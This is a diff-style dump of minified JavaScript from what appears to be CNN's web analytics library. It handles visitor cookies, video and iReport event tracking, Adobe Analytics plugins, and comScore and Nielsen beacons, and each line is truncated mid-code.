+gADBPRepeatVisitorByPeriod:function(period,domain){var e=new Date,now=new Date,cp="rvis"+period,t=parseInt(this.cookie.get(cp),10),vnum=t!=NaN&&t>0?t+1:1,sesonly=this.cookie.get("s"+cp);e.setHours(0);e.setMinutes(0);if(period==="w")e.setDate(now.getDate()+7-now.getDay());else if(period==="y"){e.setYear(now.getYear()+1);e.setMonth(0);e.setDate(1)}else{e.setMonth(now.getMonth()+1);e.setDate(1)}if(sesonly.length==0){this.cookie.set(cp,vnum,e,null,domain);sesonly=(vnum>1?"repeat":"new")+":"+ [...]
+cp,sesonly,null,null,domain)}return sesonly},gADBPReferralType:function(secDefURLs,refTypeMatchPat,urlTypeMatchPat,href){var match_pattern=/http:\/\/([^\/]+)/;var matches=match_pattern.exec(refTypeMatchPat);var matches2=match_pattern.exec(urlTypeMatchPat);href=href||window.location.href;if(href.indexOf("m:")==0||href.indexOf("mb:")==0)href=this.md.get(href);var section_definition;for(var i=0;i<secDefURLs.length;i++){var reg_result=secDefURLs[i][1].exec(refTypeMatchPat);if(reg_result!=nul [...]
+secDefURLs[i][0];break}}if(!(matches&&matches2&&matches[1]===matches2[1]))return[section_definition,matches!=null?matches[1]:"",href];return""},gADBPVideoTimeSpent:function(event){if(event&&event=="start"){_w.video_start_time=(new Date).getTime();_w.video_progress=(new Date).getTime()}else if(event&&event=="progress"){if(_w.video_progress>0){var timeSpent=((new Date).getTime()-_w.video_progress)/1E3;_w.video_progress=(new Date).getTime();return Math.round(timeSpent)}}else if(event&&event [...]
+0)if(_w.video_pause[0]==0){var playedTime=(new Date).getTime()-_w.video_start_time+_w.video_pause[1];_w.video_pause=[1,playedTime]}else{_w.video_pause[0]=0;_w.video_start_time=(new Date).getTime()}}else if(event&&event=="complete"){if(_w.video_start_time>0){var timeSpent=((new Date).getTime()-_w.video_start_time+_w.video_pause[1])/1E3;_w.video_start_time=0;_w.video_pause=[0,0];_w.video_progress=0;return Math.round(timeSpent)}}else return false},gADBPVisitorSegments:function(_rParam,_roll [...]
+parseInt(_rollday);var tt=(new Date).getTime();var uc=this.cookie.get("tnr:usrvtstg01");var sa=uc?uc.split("|"):"";var lt=uc?sa[0]:0;var ltV=uc?Math.round((tt-sa[35]*1)/864E5):null;var vsDCnt=uc?Math.round((tt-lt)/864E5)+1:1;var sc=this.cookie.get("tnr:sesctmp01");var lts=sc?sc*1:null;var is30Min=tt-lts>=18E5?true:false;var rnstg=null;var isThtyD=vsDCnt>rollDay||sa[32]=="t"?true:false;var sPath=window.location?window.location.pathname:"/";var crntMnth=(new Date).getMonth();var rParam=_rP [...]
+var thirtyDSum,lifTimeSum,calMnthSum;var isIE7=false,pagMtch="";if(navigator.appVersion.indexOf("MSIE 7.")!=-1){pagMtch=sPath.match(/([^\/]+\.[^\/]+$)/);sPath=sPath.replace(/([^\/]+\.[^\/]+$)/,"");isIE7=true}thtyDRestChk=function(){if(isThtyD){var mv=ltV;var ln=34;var c=sa[30]*1;if(ltV>rollDay){ks=true;sNewCookie()}else{for(var j=1;j<ln;j++)if(j<31&<V==1)sa[j]=sa[j+1];else if(mv+j<31)sa[j]=sa[j+mv];for(var e=rollDay;e>rollDay-ltV;e--)if(e<rollDay)sa[e]=0;sa[32]="t"}sa[30]=0}}.jsmdBind( [...]
+function(){if(!ks){sa[31]=sa[31]*1+1;sa[33]=sa[34]!=crntMnth?1:sa[33]*1+1;sa[34]=crntMnth;sa[35]=tt;var av=sa[32]==="t"&<V<30?30:vsDCnt<=30?vsDCnt:vsDCnt-30<30?vsDCnt-30+1:1;av=av+30-rollDay;sa[av]=sa[av]*1+1;var ln=sa.length;var ns="";for(var i=0;i<ln;i++)ns+=i<35?sa[i]+"|":sa[i];if(!isIE7)this.cookie.set("tnr:usrvtstg01",ns,2E3,sPath);else if(sa[36]==pagMtch){ns=ns+"|"+pagMtch;this.cookie.set("tnr:usrvtstg01",ns,2E3,sPath)}}}.jsmdBind(this);sRtnObj=function(){var r;var lng=sa.length; [...]
+0;lifTimeSum=sa[31];calMnthSum=sa[33];for(var x=31-rollDay;x<lng;x++){var cnm=sa[x];if(cnm!=0&&x<31)thirtyDSum+=cnm*1}r=gRtArr();return r}.jsmdBind(this);gRtArr=function(){var _r;if(thirtyDSum==null)thirtyDSum="1";if(lifTimeSum==null)lifTimeSum="1";if(calMnthSum==null)calMnthSum="1";if(rParam==="30day"||rParam==="30Day")_r=[gNoR(thirtyDSum),thirtyDSum+""];else if(rParam==="liftime")_r=[gNoR(lifTimeSum),lifTimeSum+""];else if(rParam==="month")_r=[gNoR(calMnthSum),calMnthSum+""];else _r={$ [...]
+thirtyDSum+""],calendar_month:[gNoR(calMnthSum),calMnthSum+""],liftime:[gNoR(lifTimeSum),lifTimeSum+""]};return _r}.jsmdBind(this);gNoR=function(_v){if(_v<="1")return"new";else return"repeat"};sNewCookie=function(){var vStng=tt+"|";for(var i=0;i<30;i++){vStng+=i==30-rollDay?1:0;vStng+="|"}vStng=vStng+"1|f|1|"+crntMnth+"|"+tt;if(isIE7)vStng=vStng+"|"+pagMtch;this.cookie.set("tnr:usrvtstg01",vStng,2E3,sPath);this.cookie.set("tnr:sesctmp01",tt,null,sPath)}.jsmdBind(this);if(uc&&sc&&is30Min& [...]
+sUsrVistCookieVal()}else if(!uc){sNewCookie();rnstg=gRtArr();return rnstg}else if(isIE7&&sa[36]==pagMtch){thtyDRestChk();sUsrVistCookieVal()}this.cookie.set("tnr:sesctmp01",tt,null,sPath);rnstg=sRtnObj();return rnstg},gCookie:function(param,flag){var r=this.cookie.get(param);if(flag==="c"||flag===1)this.cookie.set(param,"-",-1E3);return unescape(r)},gDOM:function(domstring){return eval(domstring)},gJObj:function(objectRef,attribute){objectRef=typeof objectRef=="string"?window[objectRef]: [...]
+var rval=objectRef!=null&&attribute!=null&&attribute.indexOf(".")==-1&&attribute.indexOf("[")==-1?objectRef[attribute]:objectRef;if(rval===objectRef){var attribs=attribute.split("."),len=attribs.length,reArray=/([^\[]+)\[(\d+)\]/,t,t2,rval=objectRef;for(var i=0;i<len;i++){t=attribs[i];if((t2=reArray.exec(t))!=null)rval=rval[t2[1]][parseInt(t2[2])];else rval=rval[t]}}return rval},gMeta:function(tag){var a=tag,b=this.metatags;if(b==null){var c=document.getElementsByTagName("meta"),i=c.leng [...]
+0)b[c[i].name]=c[i].content?c[i].content:"";this.metatags=b}return b[a]==null?"":b[a]},gQueryOnce:function(){var i,param="";for(i=arguments.length-1;i>=0;i--)param+=arguments[i]+",";return!this[param]?this[param]=this.gQuery.call(this,param):null},gQuery:function(){var s=this.vendor.Adobe.plugins();var i,param="";for(i=arguments.length-1;i>=0;i--)param+=arguments[i]+",";var r=!s.getQueryParam?null:s.getQueryParam.call(s,param);return r!=null&r.length>0?r:null},gQeurySpecial:function(_v,_ [...]
+_w.location.href;var s="";var d=_d;var v=_v.indexOf("=")!=-1?_v+"":_v+"=";var l=v.length;if(q.indexOf(v)!=-1){var n=q.indexOf(v);s=q.substr(n+l);n=s.indexOf(d);n=n!=-1?n:s.indexOf("&");s=n!=-1?s.substr(0,n):s;return s}},gIreportgetMetaCompatible:function(mn){var m=document.getElementsByTagName("meta");for(var i in m)if(m[i].content==mn)return m[i].content},vendor:{Adobe:{plugins:function(s){if(!s){s=this.tmp;if(!s)s=s_gi("ignore")}if(!s._jsmd_plugins_done){s.getQueryParam=new Function("p [...]
+""+"var s=this,v='',i,t;d=d?d:'';u=u?u:(s.pageURL?s.pageURL:s.wd.locati"+"on);if(u=='f')u=s.gtfs().location;while(p){i=p.indexOf(',');i=i<0?p"+".length:i;t=s.p_gpv(p.substring(0,i),u+'');if(t){t=t.indexOf('#')>-"+"1?t.substring(0,t.indexOf('#')):t;}if(t)v+=v?d+t:t;p=p.substring(i="+"=p.length?i:i+1)}return v");s.p_gpv=new Function("k","u",""+"var s=this,v='',i=u.indexOf('?'),q;if(k&&i>-1){q=u.substring(i+1);v"+"=s.pt(q,'&','p_gvf',k)}return v");s.p_gvf=new Function("t","k",""+"if(t){var [...]
+"rue':t.substring(i+1);if(p.toLowerCase()==k.toLowerCase())return s."+"epa(v)}return ''");s.getTimeParting=new Function("t","z",""+"var s=this,cy;dc=new Date('1/1/2000');"+"if(dc.getDay()!=6||dc.getMonth()!=0){return'Data Not Available'}"+"else{;z=parseFloat(z);var dsts=new Date(s.dstStart);"+"var dste=new Date(s.dstEnd);fl=dste;cd=new Date();if(cd>dsts&&cd<fl)"+"{z=z+1}else{z=z};utc=cd.getTime()+(cd.getTimezoneOffset()*60000);"+"tz=new Date(utc + (3600000*z));thisy=tz.getFullYear();"+"v [...]
+"'Saturday'];if(thisy!=s.currentYear){return'Data Not Available'}else{;"+"thish=tz.getHours();thismin=tz.getMinutes();thisd=tz.getDay();"+"var dow=days[thisd];var ap='AM';var dt='Weekday';var mint='00';"+"if(thismin>30){mint='30'}if(thish>=12){ap='PM';thish=thish-12};"+"if (thish==0){thish=12};if(thisd==6||thisd==0){dt='Weekend'};"+"var timestring=thish+':'+mint+ap;if(t=='h'){return timestring}"+"if(t=='d'){return dow};if(t=='w'){return dt}}};");s.campstack=new Function("v","cn","ex","ct [...]
+"dv",""+"var s=this,ce;if(typeof(dv)==='undefined')dv=0;if(s.events&&ev){var"+" ay=s.split(ev,',');var ea=s.split(s.events,',');for(var u=0;u<ay.l"+"ength;u++){for(var x=0;x<ea.length;x++){if(ay[u]==ea[x]){ce=1;}}}}i"+"f(!v||v==''){if(ce){s.c_w(cn,'');return'';}else return'';}v=escape("+"v);var arry=new Array(),a=new Array(),c=s.c_r(cn),g=0,h=new Array()"+";if(c&&c!='')arry=eval(c);var e=new Date();e.setFullYear(e.getFullY"+"ear()+5);if(dv==0&&arry.length>0&&arry[arry.length-1][0]==v)arr [...]
+" Date().getTime()];var start=arry.length-ct<0?0:arry.length-ct;var "+"td=new Date();for(var x=start;x<arry.length;x++){var diff=Math.roun"+"d((td.getTime()-arry[x][1])/86400000);if(diff<ex){h[g]=unescape(arr"+"y[x][0]);a[g]=[arry[x][0],arry[x][1]];g++;}}var data=s.join(a,{deli"+"m:',',front:'[',back:']',wrap:\"'\"});s.c_w(cn,data,e);var r=s.join"+"(h,{delim:dl});if(ce)s.c_w(cn,'');return r;");s.getPreviousValue=new Function("v","c","el",""+"var s=this,t=new Date,i,j,r='';t.setTime(t.get [...]
+"){if(s.events){i=s.split(el,',');j=s.split(s.events,',');for(x in i"+"){for(y in j){if(i[x]==j[y]){if(s.c_r(c)) r=s.c_r(c);v?s.c_w(c,v,t)"+":s.c_w(c,'no value',t);return r}}}}}else{if(s.c_r(c)) r=s.c_r(c);v?"+"s.c_w(c,v,t):s.c_w(c,'no value',t);return r}");s.split=new Function("l","d",""+"var i,x=0,a=new Array;while(l){i=l.indexOf(d);i=i>-1?i:l.length;a[x"+"++]=l.substring(0,i);l=l.substring(i+d.length);}return a");s.getPercentPageViewed=new Function("",""+"var s=this;if(typeof(s.linkTy [...]
+" v=s.c_r('s_ppv');s.c_w('s_ppv',0);return v;}");s.getPPVCalc=new Function("",""+"var s=s_c_il["+s._in+"],dh=Math.max(Math.max(s.d.body.scrollHeight,"+"s.d.documentElement.scrollHeight),Math.max(s.d.body.offsetHeight,s."+"d.documentElement.offsetHeight),Math.max(s.d.body.clientHeight,s.d."+"documentElement.clientHeight)),vph=s.wd.innerHeight||(s.d.documentE"+"lement.clientHeight||s.d.body.clientHeight),st=s.wd.pageYOffset||(s"+".wd.document.documentElement.scrollTop||s.wd.document.body.s [...]
+"p),vh=st+vph,pv=Math.round(vh/dh*100),cp=s.c_r('s_ppv');if(pv>100){"+"s.c_w('s_ppv','');}else if(pv>cp){s.c_w('s_ppv',pv);}");s.getPPVSetup=new Function("",""+"var s=this;if(s.wd.addEventListener){s.wd.addEventListener('load',s"+".getPPVCalc,false);s.wd.addEventListener('scroll',s.getPPVCalc,fals"+"e);s.wd.addEventListener('resize',s.getPPVCalc,false);}else if(s.wd"+".attachEvent){s.wd.attachEvent('onload',s.getPPVCalc);s.wd.attachEv"+"ent('onscroll',s.getPPVCalc);s.wd.attachEvent('onre [...]
+"lc);}");s.linkHandler=new Function("p","t",""+"var s=this,h=s.p_gh(),i,l;t=t?t:'o';if(!h||(s.linkType&&(h||s.linkN"+"ame)))return '';i=h.indexOf('?');h=s.linkLeaveQueryString||i<0?h:h."+"substring(0,i);l=s.pt(p,'|','p_gn',h.toLowerCase());if(l){s.linkNam"+"e=l=='[['?'':l;s.linkType=t;return h;}return '';");s.p_gn=new Function("t","h",""+"var i=t?t.indexOf('~'):-1,n,x;if(t&&h){n=i<0?'':t.substring(0,i);x="+"t.substring(i+1);if(h.indexOf(x.toLowerCase())>-1)return n?n:'[[';}"+"return 0;") [...]
+"var s=this;if(!s.eo&&!s.lnk)return '';var o=s.eo?s.eo:s.lnk,y=s.ot("+"o),n=s.oid(o),x=o.s_oidt;if(s.eo&&o==s.eo){while(o&&!n&&y!='BODY'){"+"o=o.parentElement?o.parentElement:o.parentNode;if(!o)return '';y=s."+"ot(o);n=s.oid(o);x=o.s_oidt}}return o.href?o.href:'';");s.trackTNT=function(v,p,b){var s=this,n="s_tnt",p=p?p:n,v=v?v:n,r="",pm=false,b=b?b:true;if(s.getQueryParam)pm=s.getQueryParam(p);if(pm)r+=pm+",";if(s.wd[v]!=undefined)r+=s.wd[v];if(b)s.wd[v]="";return r};s.getPPVSetup();s._j [...]
+true}return this.tmp=s}}},tCase:function(arg){var rval=arg,i;switch(typeof arg){case "string":rval=arg.toLowerCase();break;case "object":for(i in arg)if(typeof arg[i]=="string")arg[i]=arg[i].toLowerCase()}return rval},tTrim:function(arg,addlRegexs){if(!(arg!=null&&arg.length>0)||typeof arg==="object")return arg;var a=addlRegexs,rval=arg;if(!addlRegexs)a=[[/\s+/g," "],/^\s+/,/\s+$/];var i=a.length,rstr="",r;while(i--){rstr="";r=a[i];if(typeof r.exec==="undefined"){r=a[i][0];rstr=a[i][1]}r [...]
+rstr)}return rval},tSub:function(arg,delimiter,i){var r="";try{r=arg.split(delimiter)[i]}catch(err){}return r},tAll:"tCase|tTrim",cookie:{get:function(k){var c=" "+document.cookie,s=c.indexOf(" "+k+"="),e=s<0?s:c.indexOf(";",s),v=s<0?"":c.substring(s+2+k.length,e<0?c.length:e);return unescape(v)},set:function(k,v,e,p,d){var exp=typeof e=="object"?e:new Date((new Date).getTime()+(!e?0:e)*864E5);document.cookie=k+"="+escape(v)+(e!=null?"; expires="+exp.toGMTString():"")+"; path="+(!p?"/":p [...]
+null?" domain="+d:"")}}},dynamic:{actions:{"dynamic-link":function(data,map){this.set("action","link");this.set("link",{name:data.link_name,type:"o"});this.send()},"tab-page":function(data,map){this.set("page.name","cnn:v:/video/"+data);this.send()},"preview-video":function(data,map){var player=this.plugin.gJObj(cnn_metadata,"business.cnn.video.video_player");var pageAtribution=this.plugin.gJObj(cnn_metadata,"business.cnn.video.video_hpt");var collection=this.plugin.gJObj(cnn_metadata,"b [...]
+this.set("business.cnn.video.video_player",player);this.set("business.cnn.page.HPlocation",pageAtribution);this.set("business.cnn.video.video_collection",collection);this.set("action","link");this.set("link",{name:"video-preview: "+data,type:"o"});this.push("page.events","video.preview");this.send()},"search-results":function(data,map){this.set("page.template_type","other:search results");this.set("page.content_type",this.plugin.gJObj(data,"content_type"));this.set("page.section[0]",this [...]
+"section[0]"));this.set("page.name",this.plugin.gADBPPageName());this.set("search.internal.number_results",this.plugin.gJObj(data,"search.number_results").toString());this.set("search.internal.keyword",this.plugin.gJObj(data,"search.term"));this.send()},"dynamic-newsPulseOmniCall":function(data,map){var d=data.newspulse||{};this.set("business.cnn.page.newspulse",d.query);this.set("action","link");this.set("link",{name:"newspulse",type:"o"});this.send()},"dynamic-autoRefresh":function(dat [...]
+data);this.set("action","link");this.set("link",{name:"auto-refresh",type:"o"});this.set("business.cnn.page.section[0]",null);this.set("business.cnn.page.section[1]",null);this.set("business.cnn.page.section[2]",null);this.set("business.cnn.page.visit_number.$30Day",null);this.set("business.cnn.page.ireport.member",null);this.set("business.cnn.page.flashversion",null);this.set("page.clean_url",null);this.set("page.name",null);this.set("business.friendly_name",null);this.set("page.templat [...]
+this.set("page.content_type",null);this.set("user.authenticated",null);this.set("code.version",null);this.set("time",null);this.set("page.url_section[0]",null);this.set("page.url_section[1]",null);this.set("page.events",null);this.set("page.hier1",null);this.send()},"dynamic-impressions":function(data,map){this.set("business.cnn.page.impressions",data.value);this.set("action","link");this.set("link",{name:data.link_name,type:"o"});this.set("business.cnn.page.section[0]",null);this.set("b [...]
+null);this.set("business.cnn.page.section[2]",null);this.set("business.cnn.page.visit_number.$30Day",null);this.set("business.cnn.page.ireport.member",null);this.set("business.cnn.page.flashversion",null);this.set("page.clean_url",null);this.set("page.name",null);this.set("business.friendly_name",null);this.set("page.template_type",null);this.set("page.content_type",null);this.set("user.authenticated",null);this.set("code.version",null);this.set("time",null);this.set("page.url_section[0] [...]
+null);this.set("page.hier1",null);this.send()},"dynamic-toggle":function(data,map){this.set("business.cnn.page.impressions",data);this.set("action","link");this.set("link",{name:data,type:"o"});this.set("business.cnn.page.section[0]",null);this.set("business.cnn.page.section[1]",null);this.set("business.cnn.page.section[2]",null);this.set("business.cnn.page.visit_number.$30Day",null);this.set("business.cnn.page.ireport.member",null);this.set("business.cnn.page.flashversion",null);this.se [...]
+null);this.set("page.name",null);this.set("business.friendly_name",null);this.set("page.template_type",null);this.set("page.content_type",null);this.set("user.authenticated",null);this.set("code.version",null);this.set("time",null);this.set("page.url_section[0]",null);this.set("page.url_section[1]",null);this.set("page.hier1",null);var cnnVendors=jsmd.config.map.cnn_main.vendors;var cnnVenLen=cnnVendors.length;var cnnVenStorage;for(var i=0;i<cnnVenLen;i++)if(cnnVendors[i].account=="stand [...]
+cnnVendors[i];cnnVendors[i]={};this.send();cnnVendors[i]=cnnVenStorage}},"dynamic-page":function(data,map){var co=data.clickObj||{};if(co.socialType){var pageName=this.get("page.name");if(pageName.match(/\s\[.+\]$/)){var t1=/(.+)\s\[.+\]$/.exec(pageName);if(t1)pageName=t1[1]}this.set("page.name",pageName+" ["+co.socialType+"]")}this.send()},"flash-link":"alias:dynamic-link","flash-page":"alias:dynamic-page","audio-start":function(data,map){this.set("business.cnn.audio.audio_title",data); [...]
+"other:audio start");this.set("action","link");this.set("link",{name:"audio-start: "+data,type:"o"});this.push("page.events","audio.start");this.send()},"ireport-rate":function(data,map){this.set("action","link");this.set("link",{name:"ireport-rate: ",type:"o"});this.set("page.events",null);this.push("page.events","ireport.rate");this.send()},"ireport-comment":function(data,map){this.set("action","link");this.set("link",{name:"ireport-comment: ",type:"o"});this.set("page.events",null);th [...]
+"ireport.comment");this.send()},"ireport-flag-comment":function(data,map){this.set("action","link");this.set("link",{name:"ireport-flag-comment: ",type:"o"});this.set("page.events",null);this.push("page.events","ireport.flag");this.send()},"ireport-share":function(data,map){this.set("action","link");this.set("link",{name:"ireport-share: ",type:"o"});this.set("page.events",null);this.push("page.events","ireport.share");this.send()},"ireport-download":function(data,map){this.set("action"," [...]
+{name:"ireport-download: ",type:"o"});this.set("page.events",null);this.push("page.events","ireport.download");this.send()},"ireport-vote":function(data,map){this.set("action","link");this.set("link",{name:"ireport-vote: ",type:"o"});this.set("page.events",null);this.push("page.events","ireport.vote");this.send()},"ireport-flag-story":function(data,map){this.set("action","link");this.set("link",{name:"ireport-flag-story: ",type:"o"});this.set("page.events",null);this.push("page.events"," [...]
+this.send()},"ireport-email":function(data,map){this.set("action","link");this.set("link",{name:"ireport-email: ",type:"o"});this.set("page.events",null);this.push("page.events","ireport.email");this.send()},"ireport-form-success":function(data,map){this.set("action","link");this.set("link",{name:"ireport-form-success: ",type:"o"});this.set("page.events",null);this.push("page.events","ireport.form.success");this.send()},"ireport-sign-up":function(data,map){var pageName=this.get("page.nam [...]
+"link");this.set("link",{name:"ireport-sign-up: ",type:"o"});this.set("business.cnn.page.ireport.registration",pageName);this.set("page.events",null);this.push("page.events","ireport.signup");this.send()},"ireport-openstory":function(data,map){var d=data.openstory||{};this.set("business.cnn.page.photo.gallery","ireport: "+d.openStoryID);this.set("business.cnn.page.photo.slide","ireport: "+d.docID);this.set("link",{name:"ireport-openstory"+d.headline,type:"o"});var p=new Date(d.publish_da [...]
+p.getMonth()+1;this.set("business.cnn.page.publish_date",p.getFullYear()+"/"+mo+"/"+p.getDate());var days=_jsmd.plugin.gCNNDaysSinceLastPublish(d.publish_date);this.set("business.cnn.page.days_since_publish",days+"");if(jsmdIsInit==true)jsmdIsInit=false;else this.send()},"photo-page":function(data,map){var is_full_gallery=0;try{if(cnn_metadata.full_gallery=="1")is_full_gallery=1}catch(e){}var gallery=this.plugin.gJObj(cnn_metadata,"business.cnn.page.photo_gallery");this.set("business.cnn [...]
+gallery);if(jsmdIsInit==true){this.set("business.cnn.page.photo.slide","");if(is_full_gallery==1)this.push("page.events","content.interactive")}else{this.set("page.events",null);var is_initial_gallery_call=1;if(data.img){this.set("business.cnn.page.photo.slide",data.img);this.push("page.events","content.gallery");is_initial_gallery_call=0}else if(data.before){this.set("business.cnn.page.photo.slide",data.before);this.push("page.events","content.gallery");is_initial_gallery_call=0}if(is_f [...]
+1)this.push("page.events","content.interactive");else if(is_initial_gallery_call==1);else;this.set("page.content_type","other:gallery")}if(data.title)this.set("link",{name:"photo-page:"+data.title,type:"o"});else if(data.caption)this.set("link",{name:"photo-page:"+data.caption,type:"o"});if(this.plugin.gJObj(cnn_metadata,"template_type_content")=="gallery")this.send()},"video-page":function(data,map){var v=data.video||{};this.set("page.name","cnn:v:/video/video");var vc=new _jsmd.plugin. [...]
+vc.start(v.id,v.title);this.push("page.events","video.start");this.push("page.events","page.view");if(v.subcategory&&v.subcategory&&v.subcategory!="")this.push("page.events","video.ad_start");this.send();if(v.iscmsIIimport&&v.cmsIIimportType&&v.iscmsIIimport=="true"&&v.cmsIIimportType=="legacy money"){var action=this.config.vendor.action,l=action.length,args,f,vo;while(l--){vo=action[l][0];f=action[l][1];args=action[l][2];if(vo&&vo[f].apply)try{if(vo.trackingServer){var voReferenceObjct= [...]
+voReferenceObjct.trackingServer="metrics.cnn.com";voReferenceObjct.trackingServerSecure="smetrics.cnn.com";var host=_w.location.hostname;var path=_w.location.pathname;var accountName="aolturnercnnmoneyoffsite";voReferenceObjct.fun=voReferenceObjct.oun=voReferenceObjct.un=accountName;voReferenceObjct.referrer=document.referrer;voReferenceObjct.pageName=voReferenceObjct.eVar1=voReferenceObjct.prop7=voReferenceObjct.products=this.get("video.id");voReferenceObjct.prop31=voReferenceObjct.eVar [...]
+voReferenceObjct.eVar3=host;voReferenceObjct.prop33=voReferenceObjct.eVar33=voReferenceObjct.prop2=voReferenceObjct.eVar4="news";voReferenceObjct.eVar71=voReferenceObjct.prop71=voReferenceObjct.prop30=voReferenceObjct.eVar30=v.source;voReferenceObjct.prop32=voReferenceObjct.eVar32=v.trt;voReferenceObjct.eVar61=voReferenceObjct.prop61="primary";voReferenceObjct.events="event1";voReferenceObjct.linkTrackVars="pageName,products,prop1,eVar3,prop2,eVar4,eVar1,prop7,prop30,eVar30,prop31,eVar31 [...]
+voReferenceObjct.linkTrackEvents="event1";vo[f].apply(voReferenceObjct,args)}if(vo._jsmd.destroy!=null){vo._jsmd.destroy(vo);vo._jsmd=null}}catch(err){}}}var section=this.get("business.cnn.page.section[0]");var c4override=getSiteSpecificSettings(8,section);if(v.iscmsIIimport&&v.cmsIIimportType&&v.iscmsIIimport=="true"&&v.cmsIIimportType=="legacy money"){neilsenCNNMoney={"video-census":{clientid:"us-100120",vcid:"c02",prod:"vc",sfcode:"us"}};sendNielsenVideoCensusBeacon(neilsenCNNMoney,"s [...]
+_jsmd.doImageBeacon("http://b.scorecardresearch.com/p?c1=${c1}&c2=${c2}&c3=${c3}&c4=${c4}&c5=${c5}&rn=${random}",{c1:"1",c2:"8587182",c3:"00003",c4:"8587295",c5:"020000"})}else{sendComscoreVideoMetrixBeacon(v.id,1,c4override);sendNielsenVideoCensusBeacon(this.get("m:nielsen"),"start",v.id)}},"video-preroll":function(data,map){var v=data.video||{};if(v.ad_duration)jsmdAdRange=Math.round(v.ad_duration).toString();this.set("business.cnn.video.ad_duration",jsmdAdRange);this.set("page.content [...]
+this.set("action","link");if(_w.video_data){var vc=new _jsmd.plugin.gCNNVideoCollection;var ad_number=vc.get(_w.video_data.video.id,"adNumber");var cur_ad_number=ad_number+1;this.set("link",{name:"video-midroll"+cur_ad_number+": "+v.headline,type:"o"});this.push("page.events","video.midroll")}else{this.set("link",{name:"video-preroll: "+v.headline,type:"o"});this.push("page.events","video.preroll")}this.send();jsmdAdVidID=v.id;jsmdIsAd=true;if(_w.video_data){if(_w.live_interval&&_w.live_ [...]
+0&&ad_number==0){_w.sendVideoProgress();clearInterval(_w.setinterval_id)}vc.set(_w.video_data.video.id,"adNumber",cur_ad_number)}},"video-midroll-complete":function(data,map){if(_w.video_data){var vc=new _jsmd.plugin.gCNNVideoCollection;vc.set(_w.video_data.video.id,"adNumber",0);if(_w.live_interval&&_w.live_interval>0){var jj=_w.live_interval*1E3;_w.setinterval_id=setInterval("_w.sendVideoProgress()",jj)}}},"video-start":function(data,map){var v=data.video||{};var vc=new _jsmd.plugin.gC [...]
+vc.start(v.id,v.title);this.set("action","link");this.set("link",{name:"video-start: "+v.headline,type:"o"});this.push("page.events","video.start");if(v.subcategory&&v.subcategory&&v.subcategory!="")this.push("page.events","video.ad_start");this.send();if(v.iscmsIIimport&&v.cmsIIimportType&&v.iscmsIIimport=="true"&&v.cmsIIimportType=="legacy money"){var action=this.config.vendor.action,l=action.length,args,f,vo;while(l--){vo=action[l][0];f=action[l][1];args=action[l][2];if(vo&&vo[f].appl [...]
+action[0][0];voReferenceObjct.trackingServer="metrics.cnn.com";voReferenceObjct.trackingServerSecure="smetrics.cnn.com";var host=_w.location.hostname;var path=_w.location.pathname;var accountName="aolturnercnnmoneyoffsite";voReferenceObjct.fun=voReferenceObjct.oun=voReferenceObjct.un=accountName;voReferenceObjct.referrer=document.referrer;voReferenceObjct.pageName=voReferenceObjct.eVar1=voReferenceObjct.prop7=voReferenceObjct.products=this.get("video.id");voReferenceObjct.prop31=voRefere [...]
+voReferenceObjct.prop1=voReferenceObjct.eVar3=host;voReferenceObjct.prop33=voReferenceObjct.eVar33=voReferenceObjct.prop2=voReferenceObjct.eVar4="news";voReferenceObjct.eVar71=voReferenceObjct.prop71=voReferenceObjct.prop30=voReferenceObjct.eVar30=v.source;voReferenceObjct.prop32=voReferenceObjct.eVar32=v.trt;voReferenceObjct.eVar61=voReferenceObjct.prop61="primary";voReferenceObjct.events="event1";voReferenceObjct.eVar5=v.metas.branding;voReferenceObjct.eVar6="SingleClip";voReferenceObj [...]
+v.source;voReferenceObjct.eVar8=v.category;voReferenceObjct.eVar9=v.headline;voReferenceObjct.linkTrackVars="pageName,products,prop1,eVar3,prop2,eVar4,eVar1,prop7,prop30,eVar30,prop31,eVar31,prop32,eVar32,prop33,eVar33,prop61,eVar61,prop71,eVar71,events,eVar5,eVar6,eVar7,eVar8,eVar9";voReferenceObjct.linkTrackEvents="event1";vo[f].apply(voReferenceObjct,args)}if(vo._jsmd.destroy!=null){vo._jsmd.destroy(vo);vo._jsmd=null}}catch(err){}}}var section=this.get("business.cnn.page.section[0]"); [...]
+getSiteSpecificSettings(8,section);if(v.iscmsIIimport&&v.cmsIIimportType&&v.iscmsIIimport=="true"&&v.cmsIIimportType=="legacy money"){neilsenCNNMoney={"video-census":{clientid:"us-100120",vcid:"c02",prod:"vc",sfcode:"us"}};sendNielsenVideoCensusBeacon(neilsenCNNMoney,"start",v.id);_jsmd.doImageBeacon("http://b.scorecardresearch.com/p?c1=${c1}&c2=${c2}&c3=${c3}&c4=${c4}&c5=${c5}&rn=${random}",{c1:"1",c2:"8587182",c3:"00003",c4:"8587295",c5:"020000"})}else{sendComscoreVideoMetrixBeacon(v.i [...]
+sendNielsenVideoCensusBeacon(this.get("m:nielsen"),"start",v.id)}},"video-autostart":function(data,map){var v=data.video||{};var vc=new _jsmd.plugin.gCNNVideoCollection;vc.start(v.id,v.title);this.set("action","link");this.set("link",{name:"video-autostart: "+v.headline,type:"o"});this.push("page.events","video.autostart");if(v.subcategory&&v.subcategory&&v.subcategory!="")this.push("page.events","video.ad_start");this.send();if(v.iscmsIIimport&&v.cmsIIimportType&&v.iscmsIIimport=="true" [...]
+"legacy money"){var action=this.config.vendor.action,l=action.length,args,f,vo;while(l--){vo=action[l][0];f=action[l][1];args=action[l][2];if(vo&&vo[f].apply)try{if(vo.trackingServer){var voReferenceObjct=action[0][0];voReferenceObjct.trackingServer="metrics.cnn.com";voReferenceObjct.trackingServerSecure="smetrics.cnn.com";var host=_w.location.hostname;var path=_w.location.pathname;var accountName="aolturnercnnmoneyoffsite";voReferenceObjct.fun=voReferenceObjct.oun=voReferenceObjct.un=ac [...]
+voReferenceObjct.referrer=document.referrer;voReferenceObjct.pageName=voReferenceObjct.eVar1=voReferenceObjct.prop7=voReferenceObjct.products=this.get("video.id");voReferenceObjct.prop31=voReferenceObjct.eVar31=voReferenceObjct.prop1=voReferenceObjct.eVar3=host;voReferenceObjct.prop33=voReferenceObjct.eVar33=voReferenceObjct.prop2=voReferenceObjct.eVar4="news";voReferenceObjct.eVar71=voReferenceObjct.prop71=voReferenceObjct.prop30=voReferenceObjct.eVar30=v.source;voReferenceObjct.prop32= [...]
